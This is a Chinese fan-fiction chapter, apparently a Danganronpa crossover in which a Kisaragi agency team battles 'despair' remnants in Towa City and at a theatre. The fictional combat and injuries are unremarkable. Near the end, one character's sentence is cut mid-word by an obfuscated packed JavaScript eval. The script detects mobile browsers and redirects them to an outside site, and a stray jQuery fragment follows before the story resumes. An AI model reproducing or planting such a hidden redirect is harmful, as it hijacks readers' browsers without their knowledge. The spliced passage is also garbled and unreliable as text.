又几只黑白熊摇摇晃晃地走来,挥起尖锐的爪子。凤挡在友利身前砰砰开上几枪,虽不如牧那般精准,还是成功地将它们打倒了。上原一边开枪一边掩护着做着紧急救护的祷,一边冲友利大喊:“有回复了吗?!” “断断续续的听不清!” 这话不仅是给上原听的,更是对通讯仪另一端的总部说的。 “友……利……” 如月的声音吭吭哧哧地传来,友利长舒一口气:“谢天谢地总算能听见点了。” “友利,我们这里……出了些……状况……” “状况?发生什么了?” “让开,我来说。”铭苅的声音永远令人安心,“金城在旁边吗?让金城过来。” “金城刚才分头行动走了。” “那让上原听!来不及了,听好:在塔和掀起暴动的同时,九头龙向未来机关总部发起了进攻,被77届的绝望控制的诺瓦塞利克公国也再度挑起战争,虽然规模已经无法扩大了。现在如月要带战斗部出去维护秩序,总部负责指挥,现在这里除了我还有山口、美佳子和平良茜……” “不要慌张,铭苅,”上原大喊,“我们这里目前还能应付,情况大概是一群小孩子利用黑白熊对成年人进行屠杀……” “塔和最中,和江之岛盾子达成交易的真正幕后黑手,这点我已经查明白了,”铭苅努力作出沉着的声音,“无论如何,接下来A·E代管塔和行动,随时呼唤都能接通。无论遇到什么情况都不要慌张,千万不要慌张,同样的话一定要带给金城。等到你们任务结束了,立刻联系A·E,小桥川会去接你们,听清了吗!” “没问题。”友利咬住下唇,“我们走,凤,上原,佳奈多酱!” “现在一共分为四个阵线,申请整合调配。” A·E难得显露出严肃的面孔,调取着各方信息向铭苅与黑川申请权限。 “同意申请,把各方面情况和人员编制显示出来,告诉各方带队人。”黑川和铭苅对视一眼,点了点头。铭苅翻出会议桌离开,留下黑川一人凝视着忙碌的A·E和面前的屏幕。 “妈,数据整理……” “别叫我妈!” “啊,美佳子大人!!数据整理完毕了!!” “通知各队队长。”黑川细细看着调配表,情不自禁地在心里咒骂绝望残党。谁能想到……明明已经收复了一大半的绝望,居然卷土重来了…… 第一小队,现在位于塔和市,暂时由上原领导,通讯员友利,战斗辅助凤,医疗辅助祷;队长金城暂时脱离队伍与未来机关同行;第二小队,正在前往最近的绝望爆发地,由小桥川带领,规模不大,短时间能解决问题;第三小队由如月亲自领导,与未来机关总部汇合,直面77届绝望的战争部队。 ……每当大部分人员外出执行任务的时候,总部基地就会化身成指挥部。山口带领雇佣的退伍军人们负责安保,铭苅和黑川分工指挥各小队行动,A·E辅助通讯和分析,而平良…… 平良只要活着就好,必须好好保护平良。 黑川拍拍脸颊,让自己进入状态。 虽然不知道今后会不会还有直接对抗绝望的战争……至少这一次,已经可以看作是回光返照了。 大家,一定要好好活下来!! 简直是千载难逢的机会,天上掉可乐正好掉进嘴里都没这么巧。 先去最近的超市里买瓶可乐,笔和笔记本都带好了,接下来就要靠着腿力和厚脸皮的意志,冲到阵线最前面直接问领头的那几个人,一旦成功那可是相当劲爆的大消息:长期以来秘密工作、为铲除绝望暗中行动的如月机关的真面目,至少得在头条上待一个星期…… 这简直是虚空大人赐予的绝佳机会。 读卖日经扯下门口的外套披在身上,拿起帽子扣在头上,推开了房门。托某个国际大明星的福,能和那几个傻子在绝望的事态里好好地住在这座别墅里,还有一群保镖———与其说是保镖,不如说是雇佣兵———傻了吧唧地围在院子里,不过貌似他们没一个打得过屋子里天天健身的那位健康哥哥。相比之下天天除了看漫画就是犯傻的那个小丫头更让人上火,时不时还得去看看,饿死了或者睡死在床上,那可就不好办了。 “哦呀,早上好,读卖,想不想听我刚想出来的笑话……” 读卖在楼梯上震了一会儿,翻了个白眼:“不想。叫醒虹上的工作不是轮到你了吗?怎么还在这儿?” 真行路日缘间指指餐桌:“小虹上已经醒了哦。” “而且今天是轮到我了。”幕之内一推过去一杯牛奶,“早上多吃一点,你现在太矮了……” “唔唔……吃不下了……” 虹上伊吕波努力塞下一口面包,像只仓鼠一样努力咀嚼。见到读卖下了楼,幕之内飞速跑来:“早上吃点东西再走吧老大,要不然胃会不舒服……” “烦死了!别挡我路!” “哎呀,只是片面包而已,如果不是现在条件不好我才不会只吃这种……” “你也烦死了!我要出去干正事!” “诶?啊!老大一路走好!” “……不会说话就不要说,虹上。”读卖抓起幕之内硬生生塞到他手上的面包,恶狠狠地瞪了一眼虹上,“我真希望我回来的时候你们都死了。” “哎呀,”真行路日勾着头发笑眯眯地说,“每天都这么说,这就叫口嫌体正直。” “……烦死了!!” “伤者124人,死者30人,下落不明17人……” “相比于绝望肆虐的日子,这已经是相当保守的数字了。” “但是他们……还是死掉了……” 如月大和偏着头苦笑着看向旁边的男人:“你真的是未来机关的支部长吗?我上次去没看见你。” “啊、啊……我是……”其实从黑色的西装与工牌就能认出此人的身份了,只是这支支吾吾的状态和见到尸体的胆怯实在让人难以想象他是负责了一整个区域的支部长。“我是未来机关第十支部长,御手洗亮太,请多指教。” “啊。如月机关的机关长,如月大和。” “您好您好,没想到直接见到了机关长先生……” “这个嘛哈哈,没记错的话未来机关的支部长们应该都是我们的前辈。我是希望之峰79届,超高校级的发明家是也。” “哈哈……也没那么夸张啦,未来机关里的确有很老的前辈们……但是我还是很年轻的,我是超高校级的动画师,77届的。” “幸会幸……” 如月的手僵在半空。 77届?! “……如月先生?” “啊啊没事没事,走神了一下啊抱歉抱歉。” “……”御手洗缩着肩,侧过头苦笑:“您一定很迷惑……毕竟在我们的现有情报里,77届生已经全部死亡了……事实上,在如月机关突然出现之前,我们一直认为希望之峰的在校生只有78届还活着……” 有隐情。如月试探着点头。 “而我……上学的时候我一般不去班级里,都在宿舍画动画……您知道的,截稿日期总是很紧……所以班里的同学,我几乎没见过……后来也因为这个原因,侥幸逃过了预备科的大屠杀……” 这番话最好是真的。如月敲敲耳机,示意一直在监听的指挥部查询御手洗亮太的有关信息。 “……暂时没有问题,可以放心。” “谢谢你,美佳子。” 还是美佳子的声音能平复情绪。如月舒了口气,勉强向御手洗笑笑。这位前辈看上去并不像前辈,怯懦地搓着双手走来走去,可喜的是他始终没后退。城市的封锁线后,未来机关的军队和如月机关行动部组成的临时战斗部队严阵以待,民众已经疏散得差不多了。 现在77届的绝望一旦打来,就必定会在城市内开战……只可惜城里好不容易恢复了秩序,又要…… “让一下让一下!!!您好您好!!!请问可以接受一下采访啊啊啊啊啊吗!!!!” “……啊?” 从军队里跌跌撞撞冲出来一个兴奋地吵嚷着的年轻人,险些在如月面前行五体投地之大礼,人还没站稳名片先举到如月眼前:“我是个记者,请问可以采访一下您吗?” “……啊?” “您是如月机关的领导吧!”记者站直扶好帽子急急忙忙鞠了一躬,“虽然到现在为止如月机关都几乎不在外界露面,但是为铲除绝望作出的伟大贡献人们皆有所耳闻,并感激不尽!请问我可以采访一下您……如月大和先生,身为机关长您是否能接受……” “你先等一下,”如月下意识遮挡了一下胸口标注着姓名的牌子,“首先,我们现在有更重要的事情,请不要干扰;其次,如月机关从不接受任何机构与个人的采访,请回……” 炮弹的轰鸣声打断了如月和奇怪的记者,呛人的烟雾随之弥散开来。催泪瓦斯,如月捂着鼻子咳嗽着掏出防毒面具,下一波炸弹便迅速跟来。这一次是极其刺目的光芒,耳鸣使大脑都陷入思考的困境……闪光弹,是闪光弹…… 幸运的是金城早就给大家做过战时适应性训练,很快就能反应过来。如月想了想,将手上的防毒面具生硬地套在记者头上,而后感激了一会儿发明了压缩式军用装备包的自己,将另一套面具扔给御手洗。 “……来了。” 款款的身影从烟雾中走出,他意识到那是个女孩——或者说,只有年龄上或许符合“女孩”——身后似乎还跟着什么人,但是已经看不清了。 “……果然,77届的绝望,超高校级的王女,索尼娅·内瓦曼……” 早知道是这样的情况,绝对得让上原跟着十神走了。简直是身心双重折磨……跟着杀人魔一起行动……简直是…… 金城剑黑着脸走在路上,握着枪警戒着黑白熊。身后的少女穿着破破烂烂的校服,头发也和印象中的不那么一样,散开成了脏兮兮的样子。但是很好辨认……倒不如说很难认不出来。 在别人看来,她是相当有名的78届自相残杀的幸存者,超高校级的文学少女腐川冬子;但金城熟知她的另一重身份: “超高校级的杀人鬼,灭族者翔……” 被迫和她一起找人,真是……… “喂,我说你这个警察,”腐川咬着指甲,愤愤地说,“要不是为了寻找白夜大人……谁会愿意跟你一起走啊?警察……真是一口咬定对方是异常犯罪者的脑袋不正常的人……” “……”金城站住脚,回过头端起枪:“首先,我现在不是警察。我作为如月机关的支援小队队长前来辅助未来机关在塔和市的营救和收复计划,现在在爆炸中与未来机关成员失联,然后碰上了你这么个人恰好认得可以一同行动,仅此而已;其次,不是我认为你是犯罪者,你自己也承认了你是个杀人鬼,不是吗?” “杀人鬼又不是我……” “至少从生理意义上你们是同一个人。” 如今能克制住自己不直接开枪击毙已经很有进步了,加油,金城剑,你首先是个人,然后是如月机关的副机关长,最后才是超高校级的警察。 这一切心理自我疏导在看见那个可怜巴巴的小女孩的时候近乎全面崩盘。 “你们……是什么人……” 女孩握着骇客枪,应该是被救出的78届生家属,瑟瑟发抖地看着他。金城叹了口气,亮出胸前的证件:“我是前来支援未来机关的如月机关成员,请问你是否需要帮助?” “是苗木困吧?”腐川在后面咬着指甲说。 “啊……诶?姐姐你怎么知道我的名字?” “苗木……”金城眯起眼。 原来如此。 “御手洗先生!!没事吧?” 如月一手捞着不住咳嗽的记者,一手伸向瘫坐在地上的御手洗。耳机里传来后方阵线上波多乃等人的报平安的声音,如月顿时舒了口气。 “咳咳……咳……”记者紧紧抓着他的衣袖张望着地上,似乎在寻找什么东西。如月捡起脚边的笔递给他:“您在寻找这个吧……啊,读卖日经先生。” “谢谢您……” 名为读卖日经的记者收好刻着自己名字的钢笔,抱歉地笑了笑,“没想到……咳咳,这次好像赶上了当战地记者的机会了……” “这可不好笑。” “啊!冒犯了,非常抱歉。” “……如月先生……” 御手洗紧皱着眉看着防御工事对面款款走来的身影:“那个就是……” “未来机关的诸位——还有如月先生,你们好。” “这就是这次我们的敌人了。”如月摁下耳机,“比嘉,波多乃,收到回复。做好部署,这将是一场恶战。” “一场恶战?” 美丽的公主——准确来说,早在绝望刚刚开始扩散时就杀死自己父母的索尼娅·内瓦曼在某种意义上可以被称为“女王”——微微笑着歪歪头,若不是她混乱绝望的眼神,几乎会令人沉浸于她无与伦比的优雅之中。 “不,如月先生,我们不是来和你们开战的……”索尼娅笑着摇摇头,拍拍手似乎在向谁示意,“半年前我们组织了对如月机关的袭击,却被你们完美化解,还弄伤了佩子和赤音。我很好奇——如月先生,之前你身边那个黑发的女孩子吗?果然没带来呢。” “……如月先生?”读卖睁大眼睛看向他,“你们被绝望残党偷袭过?” “读卖先生,我说了如月机关不会接受采访。”如月攥紧拳盯住索尼娅,“你的同伙呢?应该快出来了吧。” “哈。不愧是如月先生。”索尼娅保持着微笑,“刚才拍手的时候您听见脚步声了?还是看见人影了?或者……与绝望战斗的经历,使您越发谨慎了?虽然现在我的同伴们确实在与如月机关的诸位后辈交战,但是事实上这次前来的只有我一个人哦。” “……?!” “当然了,也不能算是我一个人,毕竟我带着军队呢!”索尼娅开心地笑了,“如月先生,您不觉得蹊跷吗?所谓的正面战场,所谓的直接开战,最终的直接领导者只有我一人!您不觉得奇怪吗?或者说,您就这么相信您的同学们会活下来?在我们分层分点的攻击中活下来?” 御手洗紧紧抓住如月的衣袖:“不要被她欺骗了,如月先生,她只是在试图击溃我们的心理防线……” “我知道。”如月将读卖和御手洗挡在身后上前一步,“没错,我非常坚信我的同伴们。我们拥有你们这些绝望残党无法想象的团结力和意志,我们拥有胜利的决心与决心之下的天运!!” 读卖猛地抬起头,但如月并未看见。 索尼娅向另一个方向歪歪脑袋,忽地嗤笑起来。 “您说……我们无法想象团结?” 她眯起眼睛微笑,然后渐渐睁开。如月曾见过类似的眼神——在边古山佩子,那个剑道女脸上。 ……这种空洞、虚无,又卷起绝望的昏暗漩涡的眼神。 “……我可以给您讲个故事吗?” 启介很清楚这个剧院里、配合着绝望残党经营着绝望的是什么人。毕竟此前他才联系到过他们,得知他们在哪所剧院安定下来准备重振旗鼓。 他们做出什么事启介都不会意外的。 要紧的是孩子们。晴彦本来应是事外人,铭苅再聪明也只是孩子,如月更是无暇顾及。这次任务不该带其他人来的,但是独自前来又不知道能否有完全的把握,幸好美奈子也跟来了,对孩子们还能有点安慰作用。 ……五月是最不该来的。她不该知道自己的哥哥姐姐们在干什么。 ……真是事后诸葛亮。 启介拦住闷着头往前跑的晴彦,示意他后退。五月和美奈子先行进去侦查,扮演成观众的样子混了进去,二人则在外部,伪装成安保的模样。 “……启介哥,有话别憋着,说出来吧。” 晴彦低着头说。“嘛……我是个笨蛋,但是基本的眼色还是很会看的。从进入这个剧院……不,葱接到任务开始,你就一直有心事呢。” “啊。”启介闭上眼苦笑,“虽然本来也没想瞒着你。” “发生什么了?启介哥知道剧院的底细吗?一直心神不宁的话……五月也会担心的。” “……这件事你不要跟五月说。” “哎呀,男人之间的事……” “我很认真的,千万不要跟五月说。” “啊………” 启介伸出手,弹了他一个脑瓜崩。 “……你已经知道这两个绝望的残党的才能了。两个表演艺术类的才能,必须要有一个合适的舞台,以此为基点对外宣扬绝望。最好的场所当然是我们现在脚下的大剧院,地标性强,客流量也大。为了招揽更多观众,她们是不会像自己的同伙一样使用暴力手段强制绝望的,也就是说……” “把绝望的演出融入正常表演?” “……没错。据我所知到目前为止已经有三十几家各种形式的表演团体被她们传染了绝望,并支持她们的演出。这个剧院是最新的,我先前得知了一些消息,得到了结果:在绝望残党入驻这里之前,负责它的团体是……” 启介深吸一口气。 想要解决问题……现在不得不面对了。 “……伊良波家的马戏团。” “……” 出人意料地,总是大惊小怪的晴彦并没有太大的反应,以至于启介以为他没听见。 “……晴彦?” “啊。我听见了。”他眯起眼睛抱好枪,“我大约……明白了,这次要逮捕的不仅是绝望残党,还有马戏团的头目……这就是不能让五月知道的原因,对吧。她会很难过的。” 启介点点头:“是这样……很抱歉,不该将你带进来……” “啊,我没问题的哥。” 晴彦咧开嘴,拍拍他的肩膀:“首先,我一直把你当亲哥看,我哥的事就是我的事;其次,五月是我在这世界上最重要的人。为了保护她我能做到一切事情。” …… 保护好她。小时候身为哥哥启介会好好保护她。长大后哥哥将亲手将她送给可靠的人。 二人相视一笑,并肩奔向约定好的埋伏地。 曾经有一个孤单的女孩,终日孤单地握着她的游戏机,孤单地走在校园里,滴滴答答地摁着按键。她很喜欢也很擅长打游戏,什么游戏都玩的很非常厉害,排名榜的第一位永远是她的名字。她很孤单,但是那时她没在意什么,只是想着自己拥有游戏就足够了。 后来她不幸地遇到了一位很好的老师。老师教导她可以利用心仪的游戏去结交朋友,她试着照做,将自己珍藏的游戏与班上的同学们分享,大意外地缝合了同学之间原有的裂缝。她第一次体会到身边围满“朋友”的乐趣,第一次露出发自内心的笑容。那之后她被老师任命为班长,她带着班上的同学们,组织了各式各样可爱又天真的活动,在她的带领下原本疏松的同学们奇迹般地聚合到了一起。那是个充满了希望的班级,每天都充斥着欢笑和幸福,每个人都真心实意地爱着同学们,也因此…… 最终踏入了绝望。 他们眼睁睁看着最爱的班长被欺骗、被逼迫,而后踏入陷阱,看着她被打伤、被划出血迹,最终被长枪穿透了身体。多么绝望的场景啊……一直爱着大家的班长死在眼前,却没有人有能力甚至移动一下脚步!!泪水和尖叫什么的,什么都不可能超越这种无与伦比的绝望……把闪亮的希望一点一点搭好,然后在哗啦———地推翻,这就是最美妙、最痛苦、最令人着迷的绝望了啊!!!! “……现在您懂了吗,如月先生?” 索尼娅微微笑着看着他。 “唯独在最亮眼的希望中,才有机会诞生出作为漆黑的绝望。您说我们不懂团结、不懂决心?我倒是很想知道……如果您现在就此陷入绝望,您的伙伴们会如何表现?或者我在这里将您杀死,您的那位小姑娘会不会崩溃到绝望?您的那些伙伴会不会嘭地失去主心骨,然后散成一盘沙?到那时候……” 到那时候……… 如果我们苦心经营的如月机关变成永远无法拼凑的镜子,如果我们中的某个人陷入绝望,只要有一个人……那么此前的一切美好一切欢乐都会变成绝望的奠基,越是希望便越是绝望…… “……如月先生……”御手洗担心地戳戳他,“你……你不要被她………” 出人意料,这次拦住他的是不知何时突然闭上了嘴的记者读卖:“不用在意。” “……读卖先生?” 御手洗皱着眉,目光不明所以地在几人人之间移动(当然了———他还没有胆量直接去看索尼娅的眼睛)。如月一言不发,攥着拳头低着头,似乎是在思考些什么;读卖则一改此前什么事都想掺和一脚的热心记者形象,阴沉着脸,紧紧盯着如月。索尼娅则微笑着歪着头看着他们,似乎将这里当做了下午茶会,而非战场前线的隔离带。 ……果然就喝以前一样,没有人会注意到…… “………很好,辛苦你了,平良。” 如月忽然笑了,御手洗迷惑地看着他,思索着听见的名字。没记错的话这次的战场上……后方应该没有叫这个名字的人……但是又好像,在哪里听谁说过…… ……平良……? “索尼娅小姐,感谢你的情报。” 如月话音刚落,面前铁丝网构成的阵线上迅速升起半透明的屏障,索尼娅退后半步,微微皱眉:“真是不能小瞧您呢,发明家先生……左右田!解析结构准备突围。” “您不是说这次前来的只有你一个人吗?”如月得意地笑起来,“那我也可以说,我们才是根本没打算开战。因为我们的目标比起您来说那可是简单得多:抓捕绝望残党头目。” 在索尼娅讲述“一个充满闪亮的希望的故事”的时候,如月随身携带的……(好吧,她并没能完全记住那东西的全名)总之什么什么通讯装置,原封不动地将整场对话转播到了基地总指挥部。黑川叫来平良,二人临时互换了位置———平良对绝望残党的事情更加熟悉,也自然更适合分析情报。 毕竟他们此次的正面对抗任务只有一个:逮捕绝望残党头目。 “可以确定她讲述的就是77届生陷入绝望前的校园生活,”平良对如月说,“那个班长就是超高校级的游戏玩家,七海千秋,老师……应该就是雪染千纱。她在试图击溃你的心理防线,将绝望带给你,小心。” “很好,辛苦你了,平良。” 平良抬起头舒出一口气,转头看向黑川:“这边解决了。剧院那边怎么样了?” “潜入很成功。未来机关派了一个特工部队,伊良波先生带着他们突进去稳定观众了,应该很快能成功。” “塔和市这边可是有些情况。”铭苅皱着眉推了推眼镜,“金城和他们一直没联系,他把自己的通讯仪器给了几个幸存的78届生家属;上原他们被黑白熊包围着,虽然能打得过,但是数量实在是太多了。未来机关的那个十神被几个小孩子绑架了……我怀疑这背后有绝望残党指引他们。” “……”平良想了想,低下头。 “……希望大家都能顺利安全完成任务。” 铭苅皱起眉,盯着屏幕看了一会儿。 “喂,茜,你不会又在用天运了……” 急促的通讯音滴滴滴滴滴地响起。三人一同看向A·E的终端,那里很快露出一个她们都十分熟悉的面孔。 “苗木诚?!” “是如月机关吗?!抱歉有些唐突,但情况可能有些不好解释:我联系到塔和市的妹妹了……” 铭苅睁大眼睛,转向平良。 金城剑讨厌罪犯。罪犯扰乱了秩序,扰乱了正义,扰乱了本应工工整整运行的社会。 “该说什么呢?很高兴见到你,金城警官?” 罪犯伤害他的朋友。罪犯害死了佐佐木,罪犯将他和朋友们带进绝望的自相残杀,罪犯逼迫无辜的少女留在罪犯的城市。 “我?我只是一个召使。一个召使而已,真的。” 他曾向罪犯开枪。后来罪犯保住了他的性命,那之后他想了很久,并决定不再纠结于曾经着实偏激的观念。 “当然了。我的目标不是您。” 再后来曾被他枪击的罪犯从刀枪和肉搏下保护了他,一次次死里逃生,一次次大难不死,他发现罪犯成了伙伴。 “警官您很厌恶犯罪行径吧?毕竟如果没有强烈的执念,怎么可能诞生出如此美妙的才能啊!” 金城剑的枪永远不会指向保护平民的伙伴。 “现在说出你的目的,还能饶过你。”金城端着手枪指着自称召使的男人,“在我的同伴来临前,我不会对你做任何事情,现在举起双手放到脑后,然后闭上嘴,立刻。” 「召使」笑起来,按照金城的要求背好手:“金城警官,我说了我的目标不是您。我也只是一个召使而已,我能够做的只有听从最中公主的话而已。” 金城回过头,瞟了一眼身后的腐川冬子和苗木困。腐川张开手护住小姑娘,尽管自己也怕的发抖,却丝毫没有后退。 ……至少和她们同行的时候,这位“杀人鬼”都会好好保护苗木。 也不只是苗木,那个小麦色皮肤的男孩,还有会编程的大叔……她有在努力用自己的方式保护他们。 金城没意外。 “……带她走,腐川。现在去跟上朝日奈他们还不算晚,如月机关的小队会找到你们的。” “金城哥……”困哭着拉着腐川的衣角,“你……你不要……” “不过是走开了一会儿,你们就闹出这么大乱子。”金城轻声叹气,“我已经说过了,不要相信那几个小孩子。冒出过绝望的念头,此后再努力摆脱都可能是徒劳了。” 那个小男孩……是叫新月吧。看见他的时候金城一度感觉像是看到了自己,有罪即杀,以死偿死……刚才那孩子跑开的时候撞到了气喘吁吁跟上来的金城,可怜的孩子哭得不知所措。 他不擅长安慰孩子。那是上原的工作,他总是会把孩子惹哭。 ……早知道就让上原来了。 “白白熊已经被我干掉了。”金城端着枪步步逼近「召使」,“腐川,带着苗木快走。现在立刻离开,就还有挽回的机会……” “这可不行,金城先生。” 「召使」微微笑着,这次他睁开眼睛。 几乎是同一时刻,金城意识到自己见过这个眼神。无形的恐惧和无力感在一瞬间狠狠攥紧他,混沌无限的漩涡很快将他吸入。金城本能地后退,他意识到一直以来保护着他的天运第一次出现了裂隙。 ……这次任务不该来的。 但是那已经晚了:「召使」伸出手向不知何处扔出一块小石子,而后向金城走来: “金城警官……或者说,超高校级的警察,金城剑……想不想知道……「幸运」和你们的天运,哪个会更幸运?” “金城哥!!!”苗木尖叫着看着那块小石子撞上周围的某个建筑物、而后被反弹回来,将墙面砸出微小的裂缝;裂缝中嘣出几片混凝土,而后整个楼体发出痛苦的轰鸣。苗木推开腐川想要冲过去,却被她狠狠拉住:“你想死吗!!!” “快走!!!!!—————————” 这是苗木困听见的最后一句话。它来自很快被掩埋在瓦砾下的金城,而后被谁人的笑声盖过:「召使」站在瓦砾之间,发出刺耳的狂笑。这笑声让苗木困头晕目眩,甚至没注意到腐川冬子打了个喷嚏。 祈祷。如今能做的只有祈祷。 对于一个自幼学习神学的现役神父来说,祈祷并不是什么稀奇的事情。虔诚者每日都会衷心地向上帝祈祷,但更多时候,祈祷经常是形式化的流程。 而如今上原尽力攥紧十字架,向他的上帝竭力祈祷,竭力用这种方式掩饰自己的…… 慌张。不知所措。 上原听见胸腔里心脏猛烈撞击的声音。 “主啊……祈求您保佑剑好好活下来,一定要保佑他活下来,一定要活下来………” 上原感觉自己头晕目眩。 “在天上的我主……祈求您保佑他平安无事……” 在刚才的轰响中,刚与78届生家属幸存者汇合的支援小队意识到那是建筑物倒塌的声音,如同雷鸣一般让每个人都绷紧了神经:那是金城离开的方向。 他不会有事,他一定不会有事,剑不会死。我该做什么,我要保护平民,首先是这几个平民。 “金城警官让我们先出来,”不二咲太市痛苦地皱起脸,“他,还有苗木小姑娘、腐川小姐,他们都在那边的塔……” “……” 冷静,冷静。上原重重地叹出一口气。现在重要的是这边的几个普通人,如果现在离开他们这次任务就失败了他们会死,金城剑不会有事的,他不可能出事的,我们还有天运…… “……照屋,刚才你说看见了凤超市对吧……当作临时避难所还能用吗?” “能。”凤连忙接上话,“之前我让全国的凤超市都安上了特种玻璃门,里面的员工也应要求备好了应急物品,刚才去看了,还是很安全的。倒是上原你……” 没办法了,绝对不可以再分头行动,绝对不可以了。手无寸铁的平民和身为警察的金城,想想都分得清谁更重要。不要慌张,剑不会有事,不要慌张,不要慌张!! “好。友利,祷,我们一起把他们转移到凤超市,然后等待未来机关的接应。” “上原……”友利皱起眉。“那金城怎么办?” “还有问题吗?现在的任务是保护这些要救助民,然后和未来机关汇合……” “上原君,你……你在哭吗?”祷抬起头,小声呼唤着他。 “现在赶紧带他们走吧,现在……” “上原近次你给我清醒一点!!!!” 啪。一记耳光甩到他脸上,直到这时上原才发现自己脸上不知何时已经充血得滚烫,冰凉的手掌砸到脸上,居然没有预想中的火辣。 然后他发现自己脸上沾满泪水。 友利哭着缩回手,愤怒地瞪着上原,“我知道你已经很难过了……我知道你很愤怒!!我知道你也在担心金城!!!你给我清醒一点啊!!!金城他可能会死啊!!!!!” “上原君……你刚才像是疯了一样你知道吗……”祷在一旁拉着凤的衣角,低声啜泣着,“上原君不应该是这样的……你一定是不知道该选哪边了,否则你不会这样说的……我们不是约定好了吗,要好好地一起回去……” 上原愣愣地看着几人,很快皱起眉狠狠咬紧牙关:“对不起……我实在是太失控了……” 凤担忧地扶住上原的双肩,轻轻晃了晃:“冷静点好吗,近次?你一定是被气上头了,你现在冷静冷静会不会好一点?这里已经没有黑白熊了,我们已经把黑白熊打干净了,现在他们几人已经可以自己去找凤超市了,这个街区就有不用走很远的,他们很安全……!!!” “我……” “现在,那个小子和那位大叔,跟我走,”友利果断地拉过朝日奈和不二咲,“凤超市就在这附近,直接进去,拿着我的吊牌,快!凤,佳奈多,拖着上原也要一起去找金城,快!现在没时间耽误了,金城生死未卜我们没时间耽误了!” 而后她转向上原,使劲叹息一声,摇了摇头。 “我为刚才那一耳光道歉,上原。从你来到塔和、得知了始作俑者是小孩子以后你就一直在勉强自己了……现在,要么跟我们走,去找金城,要么被凤拖去找金城,你自己选吧。我知道你在犹豫什么,他们是要被保护的平民,金城是我们同生共死的伙伴……我还没无私到你和金城那样,愿意为保护他人牺牲自己或者朋友。” “友利你知道吗,其实你很适合当领导……”凤拍着上原的背插了句嘴。 “别废话!!快去!!!” 主啊,请您保佑他平安无事。 他们面前是瓦砾。突兀的瓦砾,像是谁刻意将楼房如同骨牌般掀到在地。祷大哭着说闻到了血的气味,几人动手开始掀开瓦砾,试图寻找生命或许还残留着的气息。 “不要站在上面,凤,”友利大喊着说,“从周围开始挖!!!从周围开始一点点来!!” “如果有活人的话快说句话!!!没力气说话的话敲敲板子也可以!!”祷顾不得喷涌而出的泪水拼命地用小小的手搬开碎石,很快没了力气,喘了一会儿后继续站起身。 请主的护佑与我同在,请让我的悲伤、我的愤怒化为无穷的力量。 “需要我再叫些人手吗?”凤扛起一块钢筋气喘吁吁地扔到一边,然后重心不稳,险些晃下去的时候被谁人接住。 “……朝日奈?” 朝日奈悠太苦笑着看着他:“要不是金城哥拦着我出城,我可能早就被手环炸掉了……” “他是我们的救命恩人。”不二咲太市爬上来动手搬开碎石,“金城警官……当时给苗木小妹妹破译电梯门卡的时候,一群黑白熊忽然窜了出来。金城警官推开了我……险些受伤,但如果没有他受伤的就必然是我……连能不能活下来都无从得知了。” 请主护佑心存善意之人,请主的圣光照耀在拥有高洁之心的人身上。 上原用力搬开一块水管,一阵刺痛从手上传来,他低头看见一根长长的钉子贯穿了手掌。祷大哭着翻开急救箱,一把拔出钉子用棉花堵住汩汩流着血的伤口,急急忙忙翻出破伤风的疫苗,虽匆忙却有条不紊。 上原愣了神。友利回头看了他一眼,露出片刻惊讶。 “没记错的话……你们那位基督是被钉在十字架受刑的吧。” ……请主惩罚我,惩罚我这个有罪之人,惩罚我的暴怒之罪,用我的血洗刷他人的罪,用我的血洗净这个城市的污秽…… “……那里,就是那里,下面,有敲击的声音!!”凤趴在废墟上惊叫。几人迅速跑过去,一边高呼着不要放弃坚持住一边拼命搬开碎石瓦片。上原顾不上还在流血的手,祷刚缠好绷带便冲出去帮忙。血从绷带中渗出,沾染到被搬开丢走的建筑残渣上。 请让我的愤怒和悲伤化为您恩赐的力量,请让我…… “喝啊——————” 上原和凤一同抬起一块水泥板,灰尘簌簌落下,谁人发出虚弱的咳嗽。 “………剑!!!!!”“金城啊!!!!”“金城警官!!!”“金城哥!!!!” 几人一齐拥上,惊奇地发现浑身沾满灰尘的金城在那块水泥板的保护下奇迹般地活着,连伤都几乎没受到,只是长时间缺氧环境让他咳个不停。但是…… “我……没事……腿……” 一块石板压在金城的膝盖上,隐约有血渗出。上原一口气将它搬开,祷连忙过去查看,而后神情复杂地抬起头:“那个,金城……” “说实话……咳咳。”金城靠着凤慢慢坐起来,“我知道膝盖骨被砸碎了……” “……髌骨碎裂,胫骨骨折,胫骨前肌失血坏死,金城君,你有试图自己爬出来吧?” “……对不起……我只是……” “不要说了金城,你能活下来我们就已经……上原!!上原!!他倒下了!!佳奈多!!” “近次他……” “近次他有点激动过度了,他有点……情绪失控……不二咲先生和朝日奈小弟都在,我们……” “先等等……友利……咳咳,你和铭苅联系了吗?” “还没!我现在就联系。” “这个城市里……咳咳,有绝望残党,才能是……咳咳……” 友利僵在原地。 “喂……这怎么可能,为什么打不开了……如月不是说这东西的电源是半永久的吗?” “才能是……幸运……有概率超过天运的幸运……” 主啊…… 我做了正确的事……吗? “他在哪?” 伊良波启介端起枪,枪口直冲着男孩。男孩被小桥川紧紧锁住,他拥有宝蓝色的头发和流金的眼眸,短发乱糟糟地披在肩上,就像启介一样。 “……七哥。” “告诉我。我知道你从小就不是会听他话的人,他一定是强迫了你才……” 男孩轻笑。这笑容让启介不寒而栗。 “七哥。不要试图对绝望中的任何人进行任何形式的劝诫。你不觉得被讨厌的人支配是最绝望的事吗?我很享受这种绝望。” “……”小桥川抬起头担忧地看他,“启介哥,要怎么做……” “……拷起来,交给未来机关。” “未来机关那个十六夜……靠得住吗?” “注意你的言辞,小桥川先生。” 身后传来冷冷的声音。小桥川翻了个白眼,顺手给手中的男孩戴上手铐:“交给你了,十六夜先生。” 十六夜惣之助接过停止挣扎的男孩:“太慢了。问出头目的位置了吗?” “没有。” “哼。”十六夜嗤笑着押着男孩背身离开,“不过如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908406|176831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此。快点结束吧,我还等着回家呢。” “哦对了。”手铐下的男孩忽然开口,“七哥……还记得小时候大哥带我们表演的人塔吗?” 小桥川和十六夜一同看向启介。后者皱起眉,点点头。 